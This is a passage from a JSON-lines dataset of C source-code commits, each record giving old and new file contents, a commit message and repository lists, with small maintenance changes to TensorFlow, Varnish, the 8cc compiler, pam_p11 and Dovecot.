d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"1HLtd\/Varnish-Cache,franciscovg\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,zhoualbeart\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,feld\/Varnish-Cache,alarky\/varnish-cache-doc-ja,varnish\/Varnish-Cache,mrhmouse\/Varnish-Cache,chrismoulton\/Varnish-Cache,wikimedia\/operations-debs-varnish,gquintard\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,feld\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,varnish\/Varnish-Cache,zhoualbeart\/Varnish-Cache,ssm\/pkg-varnish,1HLtd\/Varnish-Cache,drwilco\/varnish-cache-drwilco,wikimedia\/operations-debs-varnish,drwilco\/varnish-cache-drwilco,gquintard\/Varnish-Cache,zhoualbeart\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,mrhmouse\/Varnish-Cache,varnish\/Varnish-Cache,mrhmouse\/Varnish-Cache,gquintard\/Varnish-Cache,drwilco\/varnish-cache-old,alarky\/varnish-cache-doc-ja,wikimedia\/operations-debs-varnish,alarky\/varnish-cache-doc-ja,ambernetas\/varnish-cache,varnish\/Varnish-Cache,ambernetas\/varnish-cache,mrhmouse\/Varnish-Cache,alarky\/varnish-cache-doc-ja,1HLtd\/Varnish-Cache,gquintard\/Varnish-Cache,feld\/Varnish-Cache,1HLtd\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,chrismoulton\/Varnish-Cache,franciscovg\/Varnish-Cache,zhoualbeart\/Varnish-Cache,chrismoulton\/Varnish-Cache,alarky\/varnish-cache-doc-ja,gauthier-delacroix\/Varnish-Cache,chrismoulton\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,mrhmouse\/Varnish-Cache,drwilco\/varnish-cache-old,zhoualbeart\/Varnish-Cache,ssm\/pkg-varnish,franciscovg\/Varnish-Cache,ssm\/pkg-varnish,ssm\/pkg-varnish,ambernetas\/varnish-cache,chrismoulton\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,feld\/Varnish-Cache,feld\/Varnish-Cache,franciscovg\/Varnish-Cache,drwilco\/varnish-cache-drwilco,drwilco\/varnish-cache-old,wikimedia\/operations-debs-varnish,varnish\/Varnish-Cache,ssm\/pkg-varnish,franciscovg\/Varnish-Cache,wikimedia\/operations-debs-varnish"}
{"commit":"97498f64ef097096b756c6b262f3ae38965e8685","old_file":"tensorflow\/compiler\/tf2xla\/type_util.h","new_file":"tensorflow\/compiler\/tf2xla\/type_util.h","old_contents":"\/* Copyright 2017 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_COMPILER_TF2XLA_TYPE_UTIL_H_\n#define TENSORFLOW_COMPILER_TF2XLA_TYPE_UTIL_H_\n\n#include \"tensorflow\/compiler\/xla\/xla_data.pb.h\"\n#include \"tensorflow\/core\/framework\/types.pb.h\"\n#include \"tensorflow\/core\/lib\/core\/status.h\"\n\nnamespace tensorflow {\n\n\/\/ Converts a Tensorflow DataType to an XLA PrimitiveType.\nStatus DataTypeToPrimitiveType(DataType data_type, xla::PrimitiveType* type);\n\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_COMPILER_TF2XLA_TYPE_UTIL_H_\n","new_contents":"\/* Copyright 2017 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_COMPILER_TF2XLA_TYPE_UTIL_H_\n#define TENSORFLOW_COMPILER_TF2XLA_TYPE_UTIL_H_\n\n#include \"tensorflow\/compiler\/xla\/xla_data.pb.h\"\n#include \"tensorflow\/core\/framework\/types.pb.h\"\n#include \"tensorflow\/core\/lib\/core\/status.h\"\n\nnamespace tensorflow {\n\n\/\/ Converts a Tensorflow DataType to an XLA PrimitiveType.\nStatus DataTypeToPrimitiveType(DataType data_type, xla::PrimitiveType* type);\n\n\/\/ N.B.: there is intentionally no function to convert an XLA PrimitiveType to\n\/\/ a TensorFlow DataType. The mapping from TF types to XLA types is not\n\/\/ one-to-one: for example, both DT_INT8 and DT_QINT8 map to xla::S8. So the\n\/\/ inverse would not be a well-defined function. If you find that you want the\n\/\/ inverse mapping, then most likely you should be preserving the original\n\/\/ TensorFlow type, rather than trying to convert an XLA type into a TensorFlow\n\/\/ type.\n\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_COMPILER_TF2XLA_TYPE_UTIL_H_\n","subject":"Add comment explaining why there is no PrimitiveTypeToDataType function.","message":"[TF:XLA] Add comment explaining why there is no PrimitiveTypeToDataType function.\n\nPiperOrigin-RevId: 214945748\n","lang":"C","license":"apache-2.0","repos":"chemelnucfin\/tensorflow,frreiss\/tensorflow-fred,frreiss\/tensorflow-fred,yongtang\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,davidzchen\/tensorflow,Intel-Corporation\/tensorflow,gunan\/tensorflow,girving\/tensorflow,jbedorf\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,jhseu\/tensorflow,dancingdan\/tensorflow,alsrgv\/tensorflow,kobejean\/tensorflow,annarev\/tensorflow,chemelnucfin\/tensorflow,theflofly\/tensorflow,Intel-Corporation\/tensorflow,yongtang\/tensorflow,alshedivat\/tensorflow,renyi533\/tensorflow,ghchinoy\/tensorflow,DavidNorman\/tensorflow,jbedorf\/tensorflow,asimshankar\/tensorflow,sarvex\/tensorflow,ghchinoy\/tensorflow,gunan\/tensorflow,hehongliang\/tensorflow,sarvex\/tensorflow,hfp\/tensorflow-xsmm,alsrgv\/tensorflow,alshedivat\/tensorflow,alshedivat\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,frreiss\/tensorflow-fred,karllessard\/tensorflow,ghchinoy\/tensorflow,tensorflow\/tensorflow,adit-chandra\/tensorflow,cxxgtxy\/tensorflow,apark263\/tensorflow,jendap\/tensorflow,hehongliang\/tensorflow,ageron\/tensorflow,freedomtan\/tensorflow,ppwwyyxx\/tensorflow,hehongliang\/tensorflow,apark263\/tensorflow,ppwwyyxx\/tensorflow,hfp\/tensorflow-xsmm,DavidNorman\/tensorflow,Bismarrck\/tensorflow,gunan\/tensorflow,karllessard\/tensorflow,xzturn\/tensorflow,xzturn\/tensorflow,dancingdan\/tensorflow,hfp\/tensorflow-xsmm,DavidNorman\/tensorflow,adit-chandra\/tensorflow,karllessard\/tensorflow,ageron\/tensorflow,renyi533\/tensorflow,chemelnucfin\/tensorflow,hfp\/tensorflow-xsmm,tensorflow\/tensorflow-pywrap_tf_optimizer,seanli9jan\/tensorflow,davidzchen\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,theflofly\/tensorflow,aam-at\/tensorflow,alsrgv\/tensorflow,kobejean\/tensorflow,jendap\/tensorflow,paolodedios\/tensorflow,jbedorf\/tensorflow,apark263\/tensorflow,girving\/tensorflow,hfp\/tensorflow-xsmm,tensorflow\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,dongjoon-hyun\/tensorflow,cxxgtxy\/tensorflow,adit-chandra\/tensorflow,chemelnucfin\/tensorflow,gunan\/tensorflow,ppwwyyxx\/tensorflow,kevin-coder\/tensorflow-fork,jbedorf\/tensorflow,aam-at\/tensorflow,annarev\/tensorflow,girving\/tensorflow,arborh\/tensorflow,ageron\/tensorflow,alshedivat\/tensorflow,petewarden\/tensorflow,frreiss\/tensorflow-fred,freedomtan\/tensorflow,alsrgv\/tensorflow,aam-at\/tensorflow,petewarden\/tensorflow,jhseu\/tensorflow,asimshankar\/tensorflow,gautam1858\/tensorflow,asimshankar\/tensorflow,ghchinoy\/tensorflow,dongjoon-hyun\/tensorflow,dancingdan\/tensorflow,paolodedios\/tensorflow,jhseu\/tensorflow,karllessard\/tensorflow,kobejean\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,annarev\/tensorflow,paolodedios\/tensorflow,cxxgtxy\/tensorflow,renyi533\/tensorflow,jendap\/tensorflow,chemelnucfin\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-Corporation\/tensorflow,brchiu\/tensorflow,arborh\/tensorflow,cxxgtxy\/tensorflow,seanli9jan\/tensorflow,petewarden\/tensorflow,ppwwyyxx\/tensorflow,snnn\/tensorflow,dancingdan\/tensorflow,DavidNorman\/tensorflow,frreiss\/tensorflow-fred,annarev\/tensorflow,DavidNorman\/tensorflow,Intel-tensorflow\/tensorflow,sarvex\/tensorflow,davidzchen\/tensorflow,chemelnucfin\/tensorflow,gautam1858\/tensorflow,petewarden\/tensorflow,arborh\/tensorflow,kevin-coder\/tensorflow-fork,alshedivat\/tensorflow,ppwwyyxx\/tensorflow,seanli9jan\/tensorflow,kevin-coder\/tensorflow-fork,dongjoon-hyun\/tensorflow,dancingdan\/tensorflow,sarvex\/tensorflow,ghchinoy\/tensorflow,asimshankar\/tensorflow,chemelnucfin\/tensorflow,alsrgv\/tensorflow,xzturn\/tensorflow,karllessard\/tensorflow,frreiss\/tensorflow-fred,freedomtan\/tensorflow,renyi533\/tensorflow,xzturn\/tensorflow,aam-at\/tensorflow,karllessard\/tensorflow,asimshankar\/tensorflow,yongtang\/tensorflow,kevin-coder\/tensorflow-fork,jbedorf\/tensorflow,yongtang\/tensorflow,xzturn\/tensorflow,dancingdan\/tensorflow,theflofly\/tensorflow,jhseu\/tensorflow,theflofly\/tensorflow,ageron\/tensorflow,jhseu\/tensorflow,brchiu\/tensorflow,dongjoon-hyun\/tensorflow,tensorflow\/tensorflow,chemelnucfin\/tensorflow,ghchinoy\/tensorflow,arborh\/tensorflow,Bismarrck\/tensorflow,alshedivat\/tensorflow,arborh\/tensorflow,DavidNorman\/tensorflow,renyi533\/tensorflow,gautam1858\/tensorflow,renyi533\/tensorflow,paolodedios\/tensorflow,theflofly\/tensorflow,hehongliang\/tensorflow,freedomtan\/tensorflow,theflofly\/tensorflow,renyi533\/tensorflow,arborh\/tensorflow,gunan\/tensorflow,girving\/tensorflow,girving\/tensorflow,girving\/tensorflow,Intel-tensorflow\/tensorflow,adit-chandra\/tensorflow,renyi533\/tensorflow,jhseu\/tensorflow,ageron\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,jhseu\/tensorflow,Intel-tensorflow\/tensorflow,alsrgv\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,girving\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,paolodedios\/tensorflow,hehongliang\/tensorflow,alsrgv\/tensorflow,asimshankar\/tensorflow,Intel-tensorflow\/tensorflow,chemelnucfin\/tensorflow,adit-chandra\/tensorflow,ghchinoy\/tensorflow,dongjoon-hyun\/tensorflow,karllessard\/tensorflow,hfp\/tensorflow-xsmm,renyi533\/tensorflow,yongtang\/tensorflow,girving\/tensorflow,adit-chandra\/tensorflow,dancingdan\/tensorflow,kobejean\/tensorflow,yongtang\/tensorflow,jendap\/tensorflow,kevin-coder\/tensorflow-fork,alsrgv\/tensorflow,apark263\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,xzturn\/tensorflow,gautam1858\/tensorflow,alsrgv\/tensorflow,paolodedios\/tensorflow,cxxgtxy\/tensorflow,aldian\/tensorflow,girving\/tensorflow,aldian\/tensorflow,jhseu\/tensorflow,cxxgtxy\/tensorflow,dongjoon-hyun\/tensorflow,jendap\/tensorflow,karllessard\/tensorflow,snnn\/tensorflow,Intel-Corporation\/tensorflow,xzturn\/tensorflow,brchiu\/tensorflow,DavidNorman\/tensorflow,asimshankar\/tensorflow,aam-at\/tensorflow,jendap\/tensorflow,brchiu\/tensorflow,seanli9jan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow,kobejean\/tensorflow,paolodedios\/tensorflow,Bismarrck\/tensorflow,annarev\/tensorflow,dongjoon-hyun\/tensorflow,arborh\/tensorflow,snnn\/tensorflow,freedomtan\/tensorflow,jhseu\/tensorflow,alsrgv\/tensorflow,sarvex\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,paolodedios\/tensorflow,sarvex\/tensorflow,dancingdan\/tensorflow,gunan\/tensorflow,yongtang\/tensorflow,annarev\/tensorflow,davidzchen\/tensorflow,jhseu\/tensorflow,arborh\/tensorflow,arborh\/tensorflow,alshedivat\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,snnn\/tensorflow,ghchinoy\/tensorflow,frreiss\/tensorflow-fred,seanli9jan\/tensorflow,apark263\/tensorflow,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,aldian\/tensorflow,alshedivat\/tensorflow,asimshankar\/tensorflow,jbedorf\/tensorflow,freedomtan\/tensorflow,gunan\/tensorflow,chemelnucfin\/tensorflow,frreiss\/tensorflow-fred,Bismarrck\/tensorflow,Intel-Corporation\/tensorflow,Intel-Corporation\/tensorflow,paolodedios\/tensorflow,DavidNorman\/tensorflow,DavidNorman\/tensorflow,yongtang\/tensorflow,freedomtan\/tensorflow,Bismarrck\/tensorflow,theflofly\/tensorflow,theflofly\/tensorflow,DavidNorman\/tensorflow,davidzchen\/tensorflow,jhseu\/tensorflow,dongjoon-hyun\/tensorflow,ppwwyyxx\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,adit-chandra\/tensorflow,tensorflow\/tensorflow,brchiu\/tensorflow,annarev\/tensorflow,gautam1858\/tensorflow,karllessard\/tensorflow,gautam1858\/tensorflow,kevin-coder\/tensorflow-fork,ageron\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,brchiu\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,jendap\/tensorflow,ghchinoy\/tensorflow,freedomtan\/tensorflow,petewarden\/tensorflow,apark263\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,ageron\/tensorflow,adit-chandra\/tensorflow,ppwwyyxx\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,arborh\/tensorflow,tensorflow\/tensorflow,arborh\/tensorflow,chemelnucfin\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,adit-chandra\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,jendap\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,arborh\/tensorflow,jbedorf\/tensorflow,DavidNorman\/tensorflow,ppwwyyxx\/tensorflow,gautam1858\/tensorflow,Intel-tensorflow\/tensorflow,hehongliang\/tensorflow,davidzchen\/tensorflow,Bismarrck\/tensorflow,brchiu\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,jbedorf\/tensorflow,snnn\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once,davidzchen\/tensorflow,gautam1858\/tensorflow,dongjoon-hyun\/tensorflow,dongjoon-hyun\/tensorflow,apark263\/tensorflow,tensorflow\/tensorflow,aam-at\/tensorflow,Intel-tensorflow\/tensorflow,annarev\/tensorflow,kobejean\/tensorflow,renyi533\/tensorflow,apark263\/tensorflow,hfp\/tensorflow-xsmm,brchiu\/tensorflow,adit-chandra\/tensorflow,brchiu\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,girving\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,kevin-coder\/tensorflow-fork,asimshankar\/tensorflow,kobejean\/tensorflow,snnn\/tensorflow,tensorflow\/tensorflow,gunan\/tensorflow,annarev\/tensorflow,renyi533\/tensorflow,seanli9jan\/tensorflow,adit-chandra\/tensorflow,cxxgtxy\/tensorflow,davidzchen\/tensorflow,jbedorf\/tensorflow,kevin-coder\/tensorflow-fork,aldian\/tensorflow,ppwwyyxx\/tensorflow,gunan\/tensorflow,yongtang\/tensorflow,seanli9jan\/tensorflow,dancingdan\/tensorflow,jhseu\/tensorflow,xzturn\/tensorflow,petewarden\/tensorflow,kevin-coder\/tensorflow-fork,jbedorf\/tensorflow,karllessard\/tensorflow,aam-at\/tensorflow,dancingdan\/tensorflow,freedomtan\/tensorflow,hehongliang\/tensorflow,asimshankar\/tensorflow,theflofly\/tensorflow,jendap\/tensorflow,aam-at\/tensorflow,Intel-tensorflow\/tensorflow,seanli9jan\/tensorflow,adit-chandra\/tensorflow,gunan\/tensorflow,xzturn\/tensorflow,xzturn\/tensorflow,gautam1858\/tensorflow,gunan\/tensorflow,davidzchen\/tensorflow,yongtang\/tensorflow,aam-at\/tensorflow,frreiss\/tensorflow-fred,petewarden\/tensorflow,kobejean\/tensorflow,petewarden\/tensorflow,sarvex\/tensorflow,aam-at\/tensorflow,davidzchen\/tensorflow,paolodedios\/tensorflow,ghchinoy\/tensorflow,ageron\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,snnn\/tensorflow,paolodedios\/tensorflow,seanli9jan\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,hfp\/tensorflow-xsmm,snnn\/tensorflow,gautam1858\/tensorflow,ghchinoy\/tensorflow,ppwwyyxx\/tensorflow,kevin-coder\/tensorflow-fork,kobejean\/tensorflow,brchiu\/tensorflow,cxxgtxy\/tensorflow,apark263\/tensorflow,Intel-tensorflow\/tensorflow,davidzchen\/tensorflow,frreiss\/tensorflow-fred,Intel-Corporation\/tensorflow,freedomtan\/tensorflow,renyi533\/tensorflow,seanli9jan\/tensorflow,hfp\/tensorflow-xsmm,snnn\/tensorflow,ageron\/tensorflow,jbedorf\/tensorflow,DavidNorman\/tensorflow,petewarden\/tensorflow,xzturn\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,frreiss\/tensorflow-fred,ghchinoy\/tensorflow,ppwwyyxx\/tensorflow,hfp\/tensorflow-xsmm,tensorflow\/tensorflow-experimental_link_static_libraries_once,Bismarrck\/tensorflow,asimshankar\/tensorflow,Bismarrck\/tensorflow,freedomtan\/tensorflow,Intel-tensorflow\/tensorflow,gunan\/tensorflow,alshedivat\/tensorflow,alshedivat\/tensorflow,ageron\/tensorflow,dongjoon-hyun\/tensorflow,aam-at\/tensorflow,apark263\/tensorflow,jendap\/tensorflow,girving\/tensorflow,snnn\/tensorflow,seanli9jan\/tensorflow,jendap\/tensorflow,Bismarrck\/tensorflow,kobejean\/tensorflow,ageron\/tensorflow,ageron\/tensorflow,aldian\/tensorflow,ppwwyyxx\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-experimental_link_static_libraries_once,jbedorf\/tensorflow,Bismarrck\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,theflofly\/tensorflow,aldian\/tensorflow,hfp\/tensorflow-xsmm,kobejean\/tensorflow,snnn\/tensorflow,alsrgv\/tensorflow,brchiu\/tensorflow,dancingdan\/tensorflow,gautam1858\/tensorflow,annarev\/tensorflow,theflofly\/tensorflow,apark263\/tensorflow,alshedivat\/tensorflow,alsrgv\/tensorflow,Bismarrck\/tensorflow,xzturn\/tensorflow,theflofly\/tensorflow,aldian\/tensorflow,kevin-coder\/tensorflow-fork,petewarden\/tensorflow,chemelnucfin\/tensorflow"}
{"commit":"a41572918b5ca69cc925d9ce0714c03924857289","old_file":"include\/libvarnish.h","new_file":"include\/libvarnish.h","old_contents":"\/*\n * $Id$\n *\/\n\n#include <errno.h>\n#include <time.h>\n\n\/* from libvarnish\/argv.c *\/\nvoid FreeArgv(char **argv);\nchar **ParseArgv(const char *s, int comment);\n\n\/* from libvarnish\/time.c *\/\nvoid TIM_format(time_t t, char *p);\ntime_t TIM_parse(const char *p);\n\n\/* from libvarnish\/version.c *\/\nvoid varnish_version(const char *);\n\n\/* from libvarnish\/assert.c *\/\n#ifdef WITHOUT_ASSERTS\n#define assert(e)\t((void)0)\n#else \/* WITH_ASSERTS *\/\n#define assert(e)\t\t\t\t\t\t\t\\\ndo { \t\t\t\t\t\t\t\t\t\\\n\tif (!(e))\t\t\t\t\t\t\t\\\n\t\tlbv_assert(__func__, __FILE__, __LINE__, #e, errno);\t\\\n} while (0)\n#endif\n\nvoid lbv_assert(const char *, const char *, int, const char *, int);\n\n\/* Assert zero return value *\/\n#define AZ(foo)\tdo { assert((foo) == 0); } while (0)\n","new_contents":"\/*\n * $Id$\n *\/\n\n#include <errno.h>\n#include <time.h>\n\n#ifndef NULL\n#define NULL ((void*)0)\n#endif\n\n\/* from libvarnish\/argv.c *\/\nvoid FreeArgv(char **argv);\nchar **ParseArgv(const char *s, int comment);\n\n\/* from libvarnish\/time.c *\/\nvoid TIM_format(time_t t, char *p);\ntime_t TIM_parse(const char *p);\n\n\/* from libvarnish\/version.c *\/\nvoid varnish_version(const char *);\n\n\/* from libvarnish\/assert.c *\/\n\n\/*\n * assert(), AN() and AZ() are static checks that should not happen.\n * xxxassert(), XXXAN() and XXXAZ() are markers for missing code.\n *\/\n\n#ifdef WITHOUT_ASSERTS\n#define assert(e)\t((void)0)\n#else \/* WITH_ASSERTS *\/\n#define assert(e)\t\t\t\t\t\t\t\\\ndo { \t\t\t\t\t\t\t\t\t\\\n\tif (!(e))\t\t\t\t\t\t\t\\\n\t\tlbv_assert(__func__, __FILE__, __LINE__, #e, errno);\t\\\n} while (0)\n#endif\n\n#define xxxassert(e)\t\t\t\t\t\t\t\\\ndo { \t\t\t\t\t\t\t\t\t\\\n\tif (!(e))\t\t\t\t\t\t\t\\\n\t\tlbv_assert(\"XXX:\" __func__, __FILE__, __LINE__, #e, errno); \\\n} while (0)\n\nvoid lbv_assert(const char *, const char *, int, const char *, int);\n\n\/* Assert zero return value *\/\n#define AZ(foo)\tdo { assert((foo) == 0); } while (0)\n#define AN(foo)\tdo { assert((foo) != NULL); } while (0)\n#define XXXAZ(foo)\tdo { xxxassert((foo) == 0); } while (0)\n#define XXXAN(foo)\tdo { xxxassert((foo) != NULL); } while (0)\n","subject":"Split assert into \"static check\" and \"missing code\" variants.","message":"Split assert into \"static check\" and \"missing code\" variants.\n\nThe \"missing code\" variants have xxx prefix\n\nIntroduce AN() (assert non-null) variant as well.\n\n\n\ngit-svn-id: 7d4b18ab7d176792635d6a7a77dd8cbbea8e8daa@911 d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,CartoDB\/Varnish-Cache,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,CartoDB\/Varnish-Cache,CartoDB\/Varnish-Cache,ssm\/pkg-varnish,ssm\/pkg-varnish"}
{"commit":"3ef98829f869fc94404894ef9ef315d673088608","old_file":"test\/number.c","new_file":"test\/number.c","old_contents":"\/\/ Copyright 2012 Rui Ueyama <rui314@gmail.com>\n\/\/ This program is free software licensed under the MIT license.\n\n#include \"test.h\"\n\nvoid testmain(void) {\n    print(\"numeric constants\");\n\n    expect(1, 0x1);\n    expect(17, 0x11);\n    expect(511, 0777);\n    expect(11, 0b1011);  \/\/ GNU extension\n\n    expect(3, 3L);\n    expect(3, 3LL);\n    expect(3, 3UL);\n    expect(3, 3LU);\n    expect(3, 3ULL);\n    expect(3, 3LU);\n    expect(3, 3LLU);\n\n    expectd(55.3, 55.3);\n    expectd(200, 2e2);\n    expectd(0x0.DE488631p8, 0xDE.488631);\n\n    expect(4, sizeof(5));\n    expect(8, sizeof(5L));\n    expect(4, sizeof(3.0f));\n    expect(8, sizeof(3.0));\n}\n","new_contents":"\/\/ Copyright 2012 Rui Ueyama <rui314@gmail.com>\n\/\/ This program is free software licensed under the MIT license.\n\n#include \"test.h\"\n\nvoid testmain(void) {\n    print(\"numeric constants\");\n\n    expect(1, 0x1);\n    expect(17, 0x11);\n    expect(511, 0777);\n    expect(11, 0b1011);  \/\/ GNU extension\n    expect(11, 0B1011);  \/\/ GNU extension\n\n    expect(3, 3L);\n    expect(3, 3LL);\n    expect(3, 3UL);\n    expect(3, 3LU);\n    expect(3, 3ULL);\n    expect(3, 3LU);\n    expect(3, 3LLU);\n\n    expectd(55.3, 55.3);\n    expectd(200, 2e2);\n    expectd(0x0.DE488631p8, 0xDE.488631);\n\n    expect(4, sizeof(5));\n    expect(8, sizeof(5L));\n    expect(4, sizeof(3.0f));\n    expect(8, sizeof(3.0));\n}\n","subject":"Add a test for '0B' prefix.","message":"Add a test for '0B' prefix.\n","lang":"C","license":"mit","repos":"8l\/8cc,rui314\/8cc,gergo-\/8cc,nobody1986\/8cc,vastin\/8cc,rui314\/8cc,nobody1986\/8cc,andrewchambers\/8cc,vastin\/8cc,8l\/8cc,andrewchambers\/8cc,vastin\/8cc,8l\/8cc,cpjreynolds\/8cc,jtramm\/8cc,abc00\/8cc,8l\/8cc,gergo-\/8cc,gergo-\/8cc,nobody1986\/8cc,jtramm\/8cc,andrewchambers\/8cc,vastin\/8cc,rui314\/8cc,cpjreynolds\/8cc,cpjreynolds\/8cc,abc00\/8cc,nobody1986\/8cc,jtramm\/8cc,jtramm\/8cc,cpjreynolds\/8cc,abc00\/8cc,andrewchambers\/8cc,abc00\/8cc,rui314\/8cc"}
{"commit":"29b9f22f7c286e43c4a617fcb3645f104256cd12","old_file":"src\/test.c","new_file":"src\/test.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include <security\/pam_appl.h>\n#include <security\/pam_misc.h>\n\nint main(int argc, char **argv)\n{\n\tpam_handle_t *pamh = NULL;\n\n\tpam_sm_authenticate(pamh, 0, 1, \"\/home\/aj\/opensc\/lib\/opensc-pkcs11.so\");\n\n\texit(0);\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include <security\/pam_appl.h>\n#include <security\/pam_misc.h>\n#include <security\/pam_modules.h>\n\nint main(int argc, char **argv)\n{\n\tpam_handle_t *pamh = NULL;\n\n\tpam_sm_authenticate(pamh, 0, 1, \"\/home\/aj\/opensc\/lib\/opensc-pkcs11.so\");\n\n\texit(0);\n}\n","subject":"Add security\/pam_modules.h to fix compiler warning","message":"Add security\/pam_modules.h to fix compiler warning\n","lang":"C","license":"lgpl-2.1","repos":"ffsdmad\/pam_p11,OpenSC\/pam_p11,AktivCo\/pam-p11-gost,OpenSC\/pam_p11,AktivCo\/pam-p11-gost,ffsdmad\/pam_p11,AktivCo\/pam-p11-gost"}
{"commit":"8b2bcc21bd7ab7936559bd2e6bb310075e5d0d08","old_file":"src\/lib\/ioloop-notify-none.c","new_file":"src\/lib\/ioloop-notify-none.c","old_contents":"\/* Copyright (C) 2003 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"ioloop-internal.h\"\n\n#ifdef IOLOOP_NOTIFY_NONE\n\nstruct io *io_loop_notify_add(struct ioloop *ioloop __attr_unused__,\n\t\t\t      const char *path __attr_unused__,\n\t\t\t      io_callback_t *callback __attr_unused__,\n\t\t\t      void *context __attr_unused__)\n{\n\treturn NULL;\n}\n\nvoid io_loop_notify_remove(struct ioloop *ioloop __attr_unused__,\n\t\t\t   struct io *io __attr_unused__)\n{\n}\n\nvoid io_loop_notify_handler_init(struct ioloop *ioloop __attr_unused__)\n{\n}\n\nvoid io_loop_notify_handler_deinit(struct ioloop *ioloop __attr_unused__)\n{\n}\n\n#endif\n","new_contents":"\/* Copyright (C) 2003 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"ioloop-internal.h\"\n\n#ifdef IOLOOP_NOTIFY_NONE\n\n#undef io_add_notify\nstruct io *io_add_notify(const char *path __attr_unused__,\n\t\t\t io_callback_t *callback __attr_unused__,\n\t\t\t void *context __attr_unused__)\n{\n\treturn NULL;\n}\n\nvoid io_loop_notify_remove(struct ioloop *ioloop __attr_unused__,\n\t\t\t   struct io *io __attr_unused__)\n{\n}\n\nvoid io_loop_notify_handler_deinit(struct ioloop *ioloop __attr_unused__)\n{\n}\n\n#endif\n","subject":"Fix for building without notify","message":"Fix for building without notify\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"jkerihuel\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,dscho\/dovecot,jwm\/dovecot-notmuch,dscho\/dovecot,jwm\/dovecot-notmuch,jkerihuel\/dovecot,dscho\/dovecot,jwm\/dovecot-notmuch,dscho\/dovecot,dscho\/dovecot,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jkerihuel\/dovecot"}
